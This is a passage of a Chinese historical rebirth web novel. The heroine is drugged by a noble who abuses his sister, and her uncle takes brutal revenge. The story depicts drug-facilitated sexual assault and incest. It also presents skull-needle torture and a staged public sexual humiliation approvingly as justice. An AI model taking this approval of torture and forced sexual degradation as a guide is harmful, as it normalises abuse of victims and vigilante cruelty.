被扔到了床上的时候,沈清欢强撑着睁开眼睛,看到了她以为是幻觉的一幕,林墨轩在剥林舒清的衣服,她没有任何反抗的意思,像是一个被控制的木偶似的,任凭衣服一件件落地。 门落锁的声音震耳欲聋,沈清欢知道自己在劫难逃,绝境来的如此突然。 就在她亲眼目睹林墨轩发疯一般把林舒清按在桌子上,肆意妄为的时候还死死地盯着自己的时候,一声惨叫传来,那声音十分尖利刺耳,沈清欢心里蓦然有了求生的盼头,眼睛死死地盯着门口。 与此同时,门被踹开,木板乱飞,一道身影迅疾的到她身边,幔帐被扯下来,她被罩在灰扑扑的幔帐里,什么都看不到了,甚至没看到是谁救了自己。 身体再次被抱起来,沈清欢张了张嘴没能发出声音,以为自己会昏过去,可偏偏感知能力十分敏锐,听得到对方的心跳声,很急,像战鼓那般铿锵。 “捆了,送静室!”司徒珩低沉的声音杀意盛腾,抱着沈清欢一路狂奔往护国寺去。 护国寺后山静室内,沈清欢躺在床上,身体一阵阵的异样让她死死地闭上眼睛,活了两辈子都没体会过这种羞耻的感觉,她希望被触摸,被拥紧,甚至想要更多。 司徒珩脸色阴沉似水的守在旁边,心口疼,像是被利器刺穿了似的,看着沈清欢躺在床上一动不能动,身体都变得透粉发红,牙齿咬得咯嘣响,恨不得把卫国公全都杀干净,鸡犬不留! 这种想法出现的时候,他都愣住了,什么时候自己对沈清欢一往情深至此?明明她的憎恶从来不掩饰! 若非自己知道林墨轩不正常,兄妹之间的丑事他很早就知道了,在沈清欢被邀请去卫国公府去的时候,他破天荒登门拜访,实则是为了护着她。 也是在那天,他看到林墨轩眼底发红的样子,那盯着沈清欢的眼神像狼。 他防备着,只是没想到沈清欢会跟林舒清进山,得到消息的他奔袭而来,不敢相信若再晚一步,会怎么样,他接受不了,不敢继续想。 沈景行敢来的时候,额头都是冷汗,进门看到侄女浑身颤抖,肤色红的厉害,两步到床前,轻唤:“阿灼,三叔来了,别怕。” 沈清欢偏头看沈景行,眼泪夺眶而出,一张嘴,嘴角的血往外冒,拼尽全力只吐出一个含糊不清的字——死。 银针翻飞,沈清欢只觉得身体要崩裂的感觉褪去了,疲惫倦意袭来,瞪大眼睛盯着沈景行,她想,这个时候死了也无妨,三叔在,没有给沈家丢脸,三叔会处理好善后的事。 沈景行声音格外温柔,轻哄:“阿灼乖,睡一觉就好了。” 亲人的安抚,让沈清欢再也支撑不住,闭上了眼睛陷入了一片黑暗中。 “是谁?”沈景行回头看司徒珩的时候,整个人气质都变了,像索命的修罗,眉毛下的皮肉发红,额角青筋凸起。 司徒珩低声:“三叔跟我来,人我都抓住了,他们一定有解药。” “好。”沈景行迈步往外走,吩咐道:“护着小姐,若有任何差池,提头来见。” 司徒珩自诩武功高强,可当两个黑衣人出现,恭敬地对沈景行说:“是,少主。” 这一瞬间,司徒珩才知道沈景行的可怕不止自己知道的这一点点。 净室旁边的屋子里,林舒清已气急攻心昏死过去了,身上之盖着一床被子,露出的手臂上,青紫痕迹密布。 在旁边,林墨轩被五花大绑的捆在椅子上,身体不停的扭动着,他眼里只有床上的女人,他若不发泄痛快,会死的。 沈景行进来看到这一幕,冷笑出声,抬起手十二根银针飞出去,林墨轩顿时僵硬在椅子上了。 “解药!”沈景行抓着林墨轩的头发,恨不得把这个人脑袋直接扯下来,问。 他没看出自己侄女到底中了什么药,所以只能用银针暂时让她昏睡,可一旦中了这种脏药,没有解药是不行的。 林墨轩翻着眼珠看沈景行:“没有!解药就是我!沈景行,你侄女必须是我的女人,不然就死!” 沈景行勾了勾唇角,翻手,掌心有三根长针,细如麦芒,寒光闪闪。 “你杀了我也没有,况且我真心喜欢沈清欢,不然我就先跟她成其好事了,我怕控制不好再弄死她,才会先用林舒清泄泄火!”林墨轩话音落下,一根长针从他头顶百会穴刺入,沈景行手掌一拍,银针尽数入脑。 林墨轩瞪大了眼睛,怒吼:“我不能死!我是卫国公府的世子!我不像死!” “死?这么容易让你死,便宜你了!”沈景行冷声:“解药!” 林墨轩尖叫着怒吼:“是我!解药是我!这药没名字,是秋娘配制的!” “是慈庵堂的老尼姑。”司徒珩立刻说:“我、我给杀了。” 沈景行撩起眼皮儿看了眼司徒珩,第二根银针入了林墨轩的百会穴,林墨轩嚣张的气焰瞬间消失不见,眼睛乌力的睁着,透出了茫然。 “把这个人送去闹市区,把京城楼子里最老最丑的妓子都叫过去,每个人一百两黄金!就当街,我要让卫国公府的人这辈子都休想在京城抬起头!”沈景行取出来一个瓷瓶:“两个时辰给一次,用完这些药,我会救他。” 司徒珩接住瓷瓶:“三叔,我去办。” “你去作甚?这事儿用得着你露面?”沈景行眼神锋利:“关心则乱,司徒珩!你太嫩了!” 司徒珩羞愧的低下头。 外面进来两个黑衣人,取走了瓷瓶,抗走了林墨轩。 沈景行看着床上昏死过去的林舒清,轻轻地叹了口气,回头:“去守着阿灼,不到万不得已,用不到你,若真没有解药,你、回去准备大婚!” 司徒珩只觉得脚底下踩着棉花团一般离开,回到沈清欢的屋子里,拉过来椅子坐在床边,凝视着床上昏睡的沈清欢,竟落下了眼泪,抬起手碰到滚下来的眼泪,他愣住了。 第29章 这到底是惹了谁啊? “醒来。” 沈景行出声。 被子里的林舒清缓缓地睁开眼睛,偏头看背对着自己的沈景行,脸色瞬间苍白如纸,她当时被按在桌子上,惨叫声传来的时候,她看到的是司徒珩,就那一刹那,她心死了。 “为何害我家阿灼。”沈景行语气很淡。 林舒清缓缓地吸了口气:“沈三爷,给我一个痛快吧。” “痛快?”沈景行转过身,冷冷的看着林舒清:“你想死吗?你们一个个都不想死,就因为不想死到处害人,老卫国公的一世英名都被你们这些后背糟蹋干净了,你家的脏事与别人无关,可你敢害我家阿灼,死,是不是太便宜了?” 林舒清叹了口气:“是啊,死都不配,沈三爷随意处置吧,我无怨无悔。” “林舒清,解药拿出来,我非但可以让你不死,你还会成为卫国公的脸面,唯一的脸面,条件是一辈子给我的阿灼当奴才!”沈景行问:“答应吗?” 林舒清闭上眼睛:“我并没有解药,那种药唯秋雁知道如何配制,服用后会全身不能动弹,可头脑清晰,为了不让林墨轩扫兴,秋雁第一次出手就是给我用了这种药。” 沈景行负手而立,手背青筋凸起:“嗯?” “我知无不言,言无不尽,解药只有欢好方可泄尽药效,我亲眼看到一个丫环在我眼前身体崩裂,血肉模糊死掉的,是林墨轩警告我,不准我反抗。”林舒清说到这里,人冷漠的像是在说别人的事,这些年的折磨,早就让她没有心了,最后的希望也没有了,真不如死了清净,可沈景行不让自己死,自己死不了。 沈景行点了点头:“谈谈条件吧。” “我不配。”林舒清太清楚自己现在的境地了。 沈景行坐下来:“入宫,我会给你制造机会侍寝当今,也会让当今不能自拔,你会入宫,入宫后助你往上爬,压住霍静纭。” 林舒清愕然的看着沈景行。 沈景行淡淡的说:“卫国公府的事不准插手,有朝一日,我会让你拥有卫国公的一切,但你若敢不听话。”说到这里沈景行顿住了:“来人,伺候林小姐更衣,送她去最好的地方看热闹。” 进来两个人是女子,丫环打扮。 沈景行站在门外,等两个丫环打扮的人搀扶着林舒清从屋子里出来的时候,他说:“让你知道什么叫生不如死后,再谈。” 林舒清想知道沈清欢现在如何了,可她没脸问。 心里知道沈景行如此气定神闲,是没有解药也有对策,能救沈清欢的人是司徒珩,只怕沈家都想要把沈清欢交托给司徒珩,唯有沈清欢不知道。 “沈三爷,小女告退。”林舒清说。 她知道,自己在沈景行这里是有价值的,死是没机会,而她除了成为沈景行手里的棋子,没有任何选择。 沈景行去见沈清欢,进门看到司徒珩眼睛红红的守在床边,是哭过的模样,在心里叹了口气,阿灼和他,是冤孽! 纠缠不清,又不能相忘江湖。 “三叔,可问出来解药了?”司徒珩急切的问。 沈景行摇头:“林墨轩没有说谎,你……” “不不不!”司徒珩站起身往后退。 沈景行脸色一沉:“怎么?你不愿意?” 司徒珩摇头:“是不舍得,阿灼憎恶我,若非因憎恶我怎么会跟林舒清有交集,若我欺负了她,跟林墨轩那畜生有何区别?三叔,求您救她,那老尼虽然死了,可居所一定有线索。” “你以为我不知道?你以为我愿意委屈阿灼?”沈景行脸色阴沉:“我需要时间!如果能解掉最好,可在生死抉择的关头,你是最坏的打算!我的阿灼不能出事,你听懂了?” 司徒珩松了口气,点头:“懂了。” 沈景行不搭理他,给沈清欢诊脉,随后起身往外走:“守着阿灼。” “好。”司徒珩心里太难受,多一个字都不想说。 沈景行到门口停下脚步,回头蹙眉看司徒珩:“不堪大用的东西!你这样让我怎么相信你能成事?” 司徒珩猛地抬起头,只看到了沈景行的背影。 成事! 自己有一种配不上沈清欢的感觉,尽管在世人眼里,别说沈清欢,就是沈家都是高攀,唯有他知道,自己配不上沈清欢,说不清道不明的原因。 霍家应该知道不少吧? 所以才会入宫求赐婚圣旨。 沈景行没骂错,自己太嫩了,不堪大用! 走到床边,他不敢坐在床边,拉过来椅子守着沈清欢,她睡得很沉,像一幅画,只是让他心口一直都闷闷的疼。 京城闹市街头,出现了一张很大的床,赤条条的男人仰面朝天的躺在床上,周围陆陆续续来了许多又老又丑的妓子,这些人眼里都在冒光。 人为财死鸟为食亡,只要让背后的贵人高兴,她们能得到良籍,还能得到一百两金子!那可是金子啊,到死都花不完! 所以,脱光了算个什么?她们大半辈子都在伺候各种男人! 这些人一个个爬山大床,黑衣人纵身落在林墨轩跟前,取出来药丸灌下去后,京城里的百姓,上到八十八,下到光腚娃娃,都开眼了。 “我的天啊,那是卫国公府的世子爷林墨轩!”有人离得近,认出来了。 这下更炸开锅了,满京城的贵女,除了司徒珩,第二个目标就是卫国公府的世子爷林墨轩。 消息长了翅膀一般传遍了大街小巷。 卫国公府里,林墨洲得到消息,策马而来,手里提着长鞭往前冲,怒吼:“谁害我兄长!” 高处,立在窗前看着这一幕的林舒清喃喃自语:“二哥,快走啊。” 林墨洲哪里肯走?眼看冲到最前面了,两个黑衣人像是从天而降一般,拦住了他的去路,其中有一个人气沉丹田,声若惊雷:“卫国公府林墨轩罪行滔天,从十三岁起,每年死在他手里的年轻女子有十二人之多,这些被召进府里做下人的姑娘都被他糟蹋死了。” 林墨洲愕然的看着眼前的黑衣人,他脑海里很多画面出现。 长兄的院子不能去。 他经常闻到血腥味儿。 每年长兄院子里的人都会换一批,那些曾经伺候长兄的人都消失不见了。 他不止一次听到过长兄院子里有女子惨叫的声音,但长兄是个温润玉如的人,他相信长兄胜过任何人。 黑衣人取出来一摞死契,沉声:“所有去卫国公府做工,死在里面的百姓,尽可到我这里领取家人死契。” “你们是什么人!为何要害卫国公府!”林墨洲唯一能想到的就只有这些。 黑衣人轻蔑的扫了眼林墨洲:“天道盟,替天行道。” 林墨轩一个个抓着那些老妓子,拼了命的发泄自己的兽欲。 有明白人在下面看了半天,惊呼:“这是瘾症!一日至少御五女而不足,怪不得不敢入朝为官啊!” 林墨洲想要往前冲,救走长兄,可他寸步难行,一直没说话的黑衣人明明没动,可他不能寸进半步,这到底是惹了谁啊?林墨洲缓缓地跪下了:“求求你们的主子,放过我长兄。” 第30章 以身入局又如何? 五城兵马司过来驱散百姓,可堵得水泄不通,怎么能驱散得开,只能往顺天府送消息。 卫国公和卫国公夫人都没敢露面,宫门外求见。 御林军过来的时候,最后两粒药刚被灌下去,但那些被累得够呛,得了金子的妓子早无影无踪。 黑衣人没有踪迹。 林墨洲颤巍巍的过去想要扶着兄长离开,只看了一眼那两条腿上都是血的惨状,险些没一口气上不来。 奴仆送来斗篷,林墨洲遮住兄长,问:“大哥,是真的吗?” 林墨轩偏头对着林墨洲傻笑,声音沙哑:“还是小妹最舒坦,小妹呢?我要她。” 一刹那,林墨洲的天塌了,他后退好几步跌坐在那脏污的床上,不敢相信自己听到的那些话是兄长亲口说出来的。 他落荒而逃,跑回卫国公府冲进小妹的宅院,只有老嬷嬷和几个伺候的丫环,哪里有小妹的踪影? 他手提长鞭,把这些奴仆都赶到屋子里,逼问了不到一炷香时间,屋子里传出来了他发疯的嚎叫声,那声音戛然而止,林墨洲倒在地上,吐血而亡。 奴仆吓得四散奔逃,这一闹腾,卫国公府里乱成一锅粥,有人带头跑去主母的屋子里翻找出来身契,分发下去尽可能抢夺一些财物,各自奔命去了。 林舒清没走,她看到父亲和母亲带着人抬走林墨轩。 看到沈景行拦住了他们的去路,突然笑了,泪流满面,她知道林墨轩对自己所做的一切,父亲和母亲都是知道的,他们不在乎自己死活,毕竟林墨轩是惊才绝艳的孩子,只是有点儿见不得人的癖好算什么? 她看着父亲和母亲当街给沈景行跪下磕头。 沈景行过去给林墨轩施针,随后林墨轩被抬走。 就在林舒清死死地盯着他的亲人离开的时候,沈景行抬眸看向她的方向,那一刹那,她浑身冰冷,如坠冰窟。 “你要先一步回去卫国公府,稳定大局。”身边丫环打扮的女子说:“我叫非花,她叫非雾,以后伺候在你身边,走吧。” 林舒清转身下楼,坐在马车里回到卫国公府。 府门大开,空荡荡的府里破烂不堪,一个人影也没有。 林舒清心里很舒服,甚至从没有如此痛快过,慢腾腾的往回走,到自己门口闻到了血腥味儿,这味道她熟悉,微微蹙眉进了院子,院子里空无一人。 推开门,林舒清瞪大了眼睛,跑过来抱住林墨洲,哭喊:“二哥!二哥你醒醒。” 非花过来,搭脉片刻说:“心脉崩裂,活不成了。” “救救他,救救他。”林舒清跪下就给非花磕头。 非花取出银针:“只能让你们见一面。” 银针落下,林墨洲痛呼一声:“小妹啊。” “二哥,我在,我在。”林舒清抓着林墨洲的手。 林墨洲等到眼睛,血泪往外涌:“为何不说,为何不跟我说,我是你二哥啊,你,疼死二哥啊。” 他说话的时候,嘴里不断有血涌出。 林舒清泪如雨下:“我不敢,二哥,二哥你别死,求你了,我只有你这么一个亲人了。” 林墨洲的手无力的垂下。 “林舒清,他心脉都断裂了,活不了的。”非花说。 林舒清跌坐在地上,双目无神的看着前方:“都该死,为什么他们不死?为什么他们不死啊!” 没人能回答这一切。 卫国公和卫国公夫人把林墨轩送去尚药局,但凡看过林墨轩的御医,如出一辙的摇头告辞。 夜深,失魂落魄的卫国公和卫国公夫人回到府里。 府里安静的吓人,唯有大书房里亮着灯,非花在门口:“老爷,夫人,大小姐在书房等你们。” 卫国公夫人蔡宝珠像是被踩了尾巴的猫一般,发疯的冲进书房,声嘶力竭的质问:“贱婢!是你做的!是不是!” 回答她的是一个蓄了全部力量的耳光。 蔡宝珠摔倒在地,口鼻窜血的她不敢相信的看着林舒清。 林舒清走过来,抬脚恶狠狠的踩再她的脸上,语气平淡里带着滔天恨意:“母亲,我不是你亲生的对吗?我要不要当着你的面伺候我爹一回呢?” 蔡宝珠惊恐的看着林舒清,说不出来话,那踩在自己脸上的脚用了极大的力气,她感觉自己的脸都要被碾碎了。 卫国公林承恩走进来,看到这一幕也愣住了,随后断喝一声:“逆女!放开你母亲!” 林舒清回头看着自己的父亲,转身坐在椅子上,淡漠的问:“我是你们亲生的吗?” “是!”林承恩像是瞬间苍老了十岁不止:“是我们对不起你。” “对不起我?”林舒清笑出声来,只是那眼里一点儿笑意也无:“二哥被气死了,二哥知道真相,心脉崩裂死了,你们逼着二哥当纨绔,你们明知道林墨轩都不如畜生,还宠着他为非作歹,连一奶同胞的妹妹也不放过,为什么你们不死?最该死的就是你们!” 林承恩听到二儿子死了,不敢相信,走到椅子上跌坐下去,良久问:“到底得罪了谁?那沈景行说轩儿是被算计的,虽死不了,可也再不能人道了,我以为这就结束了,还对洲儿出手,让我林家断子绝孙吗?” 林舒清以前觉得卫国公府里都是荒唐,如今知道自己错了,不是荒唐,是没脑子的一窝蠢货! 入宫挺好,二哥死了,最后一个亲人没了,剩下的都是仇人,她要让他们生不如死的活着,不然难解心头之恨! ** 沈家,沈景行亲自禀明了父亲和哥嫂,只说阿灼要在护国寺里诵经祈福,七日便会归来,他刚好在那边可以陪着。 当晚离开。 沈家没有任何动静,唯有王丽华夜里悄悄的哭泣,母女连心,她知道自己的阿灼出事了,可不能说,一个字都不能问! ** 静室内。 沈清欢含糊不清的说:“好渴。” 司徒珩立刻端着温热的水过来,柔声:“阿灼,喝水。” 沈清欢听到司徒珩的声音,猛地睁开眼睛,惊恐的往后退,后知后觉发现自己能动弹了,疑惑的问:“怎么是你!三叔呢?我要见三叔。” “三叔在找解药,听话,先喝水。”司徒珩看到她眼里的惊恐,心如刀绞的感觉袭来,柔声:“我不会害你的,阿灼,我这一辈子都不会害你的,你别怕。” 沈清欢低头看看自己穿戴整齐,感受身体没有什么感觉,伸出手接过来茶盏,送到嘴边喝了好几口,直到喝光了,她捧着茶盏。 “吃点儿东西好不好?你睡了一天一夜了,饿了吧?”司徒珩小心翼翼的问。 沈清欢点了点头。 司徒珩转身快步出去,背影在门口消失后,沈清欢才靠在墙上,抬头望着床榻的穹顶,她被上一世的仇恨淹没了,她这次险些就死了,多可笑啊,重生回来什么也没做就又差点儿死了,真是窝囊。 司徒珩,不是就是司徒珩吗?她就算以身入局又如何?这就是她回来的宿命! 第31章 逼婚,也要有手段 沈清欢吃着清淡的粥,粥里有淡淡的草药香,她知道三叔用了酸枣仁和天仙子,在没有解药之前,她唯有昏睡才能自保。 若非到万不得已的时候,她也不想走最后一步求生。 刚用完粥,沈景行就过来了。 “三叔,我没事。”沈清欢说。 沈景行笑着摸了摸沈清欢的头,柔声:“阿灼当然没事,有事的是旁人。” 坐下来给沈清欢诊脉,抬头看着沈清欢昏昏欲睡的模样,心疼的吸了口气,起身把枕头摆好,柔声:“阿灼,好好睡。” “三叔,家里那边要瞒着。”沈清欢躺下:“别让他们为我担心。” 沈景行轻轻地拉过来被子给沈清欢盖好:“放心,家里那边都安排妥当了,等你睡醒了,三叔和你说点儿好事。” 沈清欢没应声,睡得很沉。 沈景行起身往外走的时候,脸色阴沉似水,那老尼的庵堂翻了遍也没有什么有用的线索,这让他很着急。 司徒珩带着人把所有沈景行需要的东西都搬过来,熬药的炉子和各种草药,还有庵堂里找到的一些古籍医书,安置在沈清欢旁边的房间里。 “三叔,我回京一趟。”司徒珩看到沈清欢就心口疼的呼吸都艰难,这一口恶气若是不出,是怎么都不行了。 沈景行点头。 司徒珩回京,到了京城就见街头巷尾都是人,三五成群津津乐道,偶尔能听到卫国公府的字样眼。 安王府中,司徒珩叫来府里人询问京中发生了什么事。 听完下人禀报后,头皮都发麻,这沈景行是真狠,且毒。 当然,听了很解气。 “卫国公府如今在办丧事,听说卫国公府的二公子死了。”下人禀报。 司徒珩微微蹙眉,林墨洲死了? “查了吗?”司徒珩问。 下人垂首:“主子,咱们并不曾关注过卫国公府。” “派人去查。”司徒珩说。 一个时辰后,下人回禀,林墨洲临死前鞭挞了林舒清院子里的奴仆,吐血而亡。 如今卫国公府操持丧事的人是林舒清。 林墨轩没死,但似乎不太正常,具体什么情况探查不出来,只看到几个家奴抬着他往后花园去了,可是暖房里并没发现踪迹。 司徒珩让下人退出去,心里头这口气憋住了,如今哪里还有机会让自己为沈清欢报仇?如今卫国公府哪里还有他出手的余地? 找了一些珍贵的草药,连夜出京来找沈景行。 “回来了?”沈景行正在看书。 明知道他比谁都着急,可司徒珩看他竟如此宁静,这养气功夫不一般,多少人大事临头都如热锅上的蚂蚁一般。 “三叔,林墨洲知道真相,承受不住吐血而亡了。”司徒珩说。 沈景行低头继续看书:“嗯,有福之人。” 司徒珩:…… 山里,夜凉如水。 司徒珩坐在蒲团上闭目养神,昏睡的沈清欢动了一下,他立刻睁开眼睛来到床边,见沈清欢没有醒来的意思,缓缓地吸了口气。 都说这世上没有无缘无故的好,可他觉得不对,自己现在就想要对沈清欢掏心掏肺那般,并且因为接触多了,知道的多了,这种感觉不断加深,没来由可也甘之如饴。 三日,漫长的煎熬,可又觉得时间太快,沈景行在配药,可每次都没有十足的把握让沈清欢服用。 司徒珩心急如焚,眼看着沈清欢睡眠时间越来越短,每次醒来眼神都不对,甚至就算睡着的时候,皮肤也是不正常的粉色,若继续下去,他害怕有危险。 “三叔,若有这毒药,我试药。”司徒珩把心一横。 沈景行撩起眼皮儿看了眼司徒珩:“不用。” 司徒珩还想要坚持。 “阿灼不会同意,我也不会为了沈家人,乱伤无辜。”沈景行说。 又熬了一日一夜,沈清欢清醒过来的时候,身体止不住打颤,连续喝了三碗粥也不能入睡,强忍痛苦的她整个人都被汗水打湿了。 沈景行只能用银针,并且不再离开沈清欢身边,时刻给诊脉,若到了不得已的时候,他不会犹豫,会让司徒珩出手。 沈清欢睡着了,偏头的时候嘴角一滴血珠滚落。 沈景行深吸一口气,他知道阿灼倔强,必定咬坏了舌头。 “若明日还不能有解药,回去操持大婚。”沈景行看司徒珩:“但你要记住,沈家女可以和离,不能下堂,不管你们是否做了夫妻,阿灼不想和你白头到老,任何时候我都给她做主,而你,要知道该放手的时候,得放手。” 司徒珩恭敬的垂首:“三叔,我会好好对待阿灼。” 沈景行抬起手止住了司徒珩的话:“无需海誓山盟,若海誓山盟能做数,天底下哪里有负心汉?薄情人?且行且看。” “你欺负安王也这么不讲情面。”少女从外面进来,笑着说。 虽是笑着,可少女靴子上是厚厚的灰尘,裙摆也脏兮兮的,可见是多么的风尘仆仆。 沈景行见到少女,立刻快步过来:“灵儿,你可算来了。” 钟灵? 司徒珩对这个名字略有耳闻,药王谷谷主的掌上明珠,并且是晚来得女,其人十分厉害,江湖地位不低,概因老谷主怕他百年之后女儿过得不好,所以药王谷动用一切手段让钟灵成为江湖上人人都要敬重的后来人。 钟灵摆手:“别客套了,阿灼呢?” 沈景行让开,钟灵来到床边只看了一眼,忍不住骂人:“缠丝有两个方子,世人所至的缠丝是假的,真正的缠丝无药可解。” “那如何是好?”沈景行难得露出焦急之色。 钟灵扫了眼司徒珩:“你这不是都给阿灼准备好了解药吗?” 司徒珩的脸腾一下就红了。 沈景行低声:“阿灼,好像看不上他。” 钟灵一个没忍住,噗嗤笑了,让他们退出去,她要给沈清欢解毒。 沈清欢苏醒过来的时候,见面前女子神色凝重,但面若桃花,但她不认得。 “告诉你三叔,进来。”钟灵说。 沈清欢一下想到了钟灵,但不敢确定,周身再无异样,心里有了猜测,起身往外走,到了门口的时候回头:“钟小姐,大恩不言谢。” “不算恩,我要逼着你三叔娶我。”钟灵露出灿若桃花的笑意,摆了摆手:“去,这是成全我。” 沈清欢出门。 门外守着的司徒珩和沈景行见门开了,走出来的是沈清欢,不等沈清欢说话,沈景行已阔步往屋子里去,并且吩咐:“你们下山回京!” 第32章 你想要怎么过这一生啊? 下山的路,司徒珩紧紧地跟在沈清欢的身边,虽一句话也不说,可眼光始终都在沈清欢的身上。 沈清欢这几日清醒的时候并不多,但每次清醒过来的时候都会下一次决心,她愿意以身入局,为沈家破开死局,不管她多么的厌恶司徒珩,可这个人跟她纠缠越来越深是事实。 如今,她劫后余生,但心里一点儿也不轻松,三叔若能解毒,不会让钟灵用这种闻所未闻的方式解毒,钟灵若是能解毒,也不会让那毒入体。 “司徒珩。” “我在。”司徒珩立刻上前一步,跟沈清欢并肩而行。 沈清欢停下脚步:“钟灵是江湖中人,若三叔求娶也跟寻常提亲一样吗?” 司徒珩沉默片刻:“江湖儿女更洒脱,但婚嫁礼仪古来有之,按照京城的规矩提亲终归是没错的。” “也对。”沈清欢迈步往前走:“我想要为三叔准备聘礼。” 司徒珩立刻说:“我来操持。” 沈清欢偏头看他那认真的样子,狐疑的问:“你对我们家的事很上心啊。” “爱屋及乌。”司徒珩脱口而出后,脸色泛红。 沈清欢假装没有听懂,话锋一转:“林舒清如今可好?” 相比于林墨轩是衣冠禽兽,沈清欢更震惊于林舒清的遭遇,她没什么好忍耐的,有仇不报非君子。 司徒珩低声:“林墨洲死了,心脉崩裂活活气死的,林舒清如今是三叔手里的棋子,具体如何安排我还不知道,三叔回去会跟你说的。” “我躲不掉你了,若不是因为你,我怎么能被盯上呢?”沈清欢轻叹。 司徒珩点了点头:“是啊,所以我一定要更用心的保护你,不能总让你被我连累。” 原本,沈清欢还在为三叔和钟灵难过,虽然是有情人,可因为救自己,不走寻常路,这件事若真被提起,对钟灵的名誉终究不好。 可司徒珩这话,还是把她给惹笑了:“是啊,那个霍静纭必定也把我当成眼中钉肉中刺了,她在宫里,那就不会只对付我,还会对付沈家,真是多事之秋。” “阿灼。”司徒珩出声。 沈清欢回头看着他。 司徒珩抬起手摸了摸鼻子:“沈四小姐,总有人一拍即合,你所担心的事,三叔在解决,我相信沈太傅也在想办法,你只是个未出阁的姑娘家,别太操心。” “嗯,王爷说得在理。”沈清欢加快了脚步。 司徒珩抬了抬手,他知道自己说错话了是,赶紧追上来:“我的意思是还有我,我也能做点儿事。” 沈清欢看着前面的路:“我身为沈家人都不能太操心,怎么能让王爷一个外人操心呢。” “那你把我变成自己人啊。”司徒珩横跨一步挡在沈清欢前面。 沈清欢没想到司徒珩会来这么一下,直接撞到了他的怀里,急忙推开,站立不稳险些摔倒,司徒珩伸出手把人扶助:“我说的是真心话。” “也许有一天会吧。”沈清欢看着郑嬷嬷带着家丁从山脚下上来,这才发现自己身边的人都不在,看司徒珩。 司徒珩摇头:“当时情况危急,我没注意,应该三叔有安排。” 等郑嬷嬷带着家丁到了近前,沈清欢坐进软轿里,抬着下山速度极快,司徒珩送到山脚下,看沈清欢坐进马车里才转身离开。 回去的马车里,沈清欢拿定主意,回去就跟母亲禀明情况,如今祖母卧病在床,家里能做主的只有母亲,三叔的婚事不单要办,还要大操大办,不能亏待了钟姑娘。 沈府。 沈夫人见到女儿全须全尾回来,红着眼眶拉着沈清欢的手到身边,问:“阿灼,你三叔呢?” “母亲。”沈清欢退了伺候的仆从,从头至尾把事情仔仔细细的说了一遍。 沈夫人几次哽咽,到最后落泪止不住:“阿灼啊,蒙这位钟姑娘大恩了,母亲这就去禀了你祖母,必定要风光迎娶。” “母亲,我也是这意思。”沈清欢说:“我跟母亲同去,祖母那边必定也惦记阿灼,阿灼让家里人担心了。” 沈夫人带着沈清欢来看沈老夫人。 沈老夫人上次闹腾一遭,身体将养了数日略有起色,此时正坐在佛堂里诵经。 孙嬷嬷轻声禀报:“老夫人,夫人和四小姐过来了。” “嗯,叫进来了吧。”沈老夫人捻动佛珠的动作停下来,坐在蒲团上没起身。 沈夫人和沈清欢进来先给佛祖磕头,再给沈老夫人请安。 沈老夫人看着沈清欢:“阿灼,瘦了。” 这几日,说脱了一层皮也不夸张,何止瘦了。 沈清欢坐在沈老夫人身边:“祖母,阿灼还连累了三叔和钟姑娘。” “钟灵啊。”沈老夫人勾起唇角笑了:“那姑娘是个厉害的,你三叔这辈子也逃不出她的手掌心的,婚事也该张罗起来了,尽快吧。” 说到这里,沈老夫人看儿媳:“丽华去操持,不逾矩就行。” 沈夫人知道婆母什么都在心里,点头:“是,儿媳领命。” “你去忙,让阿灼在这里陪我一会儿。”沈老夫人说。 沈夫人告退。 沈清欢扶着祖母起身,佛堂后门出去便是个小花园,这会儿园子里百花盛开,正是繁茂的时候,沈老夫人慢悠悠的走着。 “祖母,您也觉得我该嫁给司徒珩吗?”沈清欢问。 沈老夫人拍了拍沈清欢的手:“阿灼若不愿意就不嫁,什么叫该不该?若你愿意,就不会被林家有机可乘,如今强迫你嫁给司徒珩,于你来说公平吗?” 公平? 沈清欢知道祖母误会了,自己哪里是因为不喜欢司徒珩,想要找个心仪的人啊,被囚禁三年历历在目,临死的屈辱犹如梦魇,沈家的下场,这所有一切压的她喘不过来气,跟没有面对司徒一族的任何一个人,一条狗都不行。 “祖母,司徒珩有意拉拢沈家和三叔。”沈清欢说。 沈老夫人抬头看着远处的景儿:“阿灼,人在生死面前,会本能的选择生而惧死,沈家破局不需要用你作为代价,司徒珩想要达成所愿,也不该把心思动在你身上,若迎娶你是为了和沈家有更紧密的关系,那祖母可不愿意。” 沈清欢觉得自己可能做错了,她就算重生归来,也没有祖母这份心境和眼界,有些事,她真的太嫩了。 “阿灼,遵从你的心意,你想要怎么过这一生啊?”沈老夫人问。 第33章 撕烂了她们主仆的嘴! 这不是祖母第一次问了。 这一次沈清欢沉默了片刻,抬眸:“祖母,我想要嫁给司徒珩。” 沈老夫人平静的点了点头,长叹一声抬手顺着沈清欢的发丝,她说:“你这孩子执念太深。” “祖母,我是沈家女儿,大是大非面前不能任性,也不会任性,司徒珩对我颇有心意,不管是为了得到沈家的支持,还是真有情分,总好过个陌生人。”沈清欢勾起唇角:“况且,太后支持,这比什么都更重要。” 沈老夫人看着沈清欢的小脸:“这几日发生了太多的事,阿灼改变心意是在祖母的意料之中的,可这也恰恰让祖母心疼,不忍你嫁给司徒珩了,要乱啊。” “乱也不是一家乱,沈家只要人心齐,泰山都可移,祖母,我虽然可以嫁给司徒珩,但这事儿得司徒珩自己求娶,他若敢求,我便嫁。”沈清欢靠在沈老夫人的怀里:“谁也不能把一辈子都看明白,摸着石头过河,好的不好的,若不经历了总归是看不透的。” 沈老夫人没有再说什么。 沈景行是第二天回京的,身边带着钟灵。 身为药王谷谷主的掌上明珠,钟灵人如其名,自带着一股子唯有山野间成长才会有的灵气,也唯有在江湖上行走才会有的洒脱。 沈家一家人设宴招待钟灵,沈老夫人让钟灵坐在身边。 席间,沈清欢几次抬头看钟灵,她都笑眯眯的和沈老夫人、沈夫人说话,泰然自若,也有自然而然的亲近。 沈夫人和沈老夫人在饭后陪着钟灵说话,沈清欢知道要说婚事的事,她出门去看二姐。 上次闹腾一场,沈清韵的脸伤得不轻,邹氏存了心思要毁了沈清韵,所以下手就没留情。 步秋的院子里,沈清韵脸上还包着纱布,只露出了口鼻和眼睛,见到沈清欢急不可待的拉住她的手:“四妹,你可好?” “好。”沈清欢握着沈清韵的手坐在榻上:“二姐的脸如何了?” 沈清韵柔声:“无妨,好也罢,不好也罢,不过是个皮囊。” 这话不过是宽慰人心的,沈清欢柔声:“一定会好起来的,三叔要大婚了。” “哪家的姑娘?”沈清韵眼里带了喜色。 沈清欢说起了钟灵。 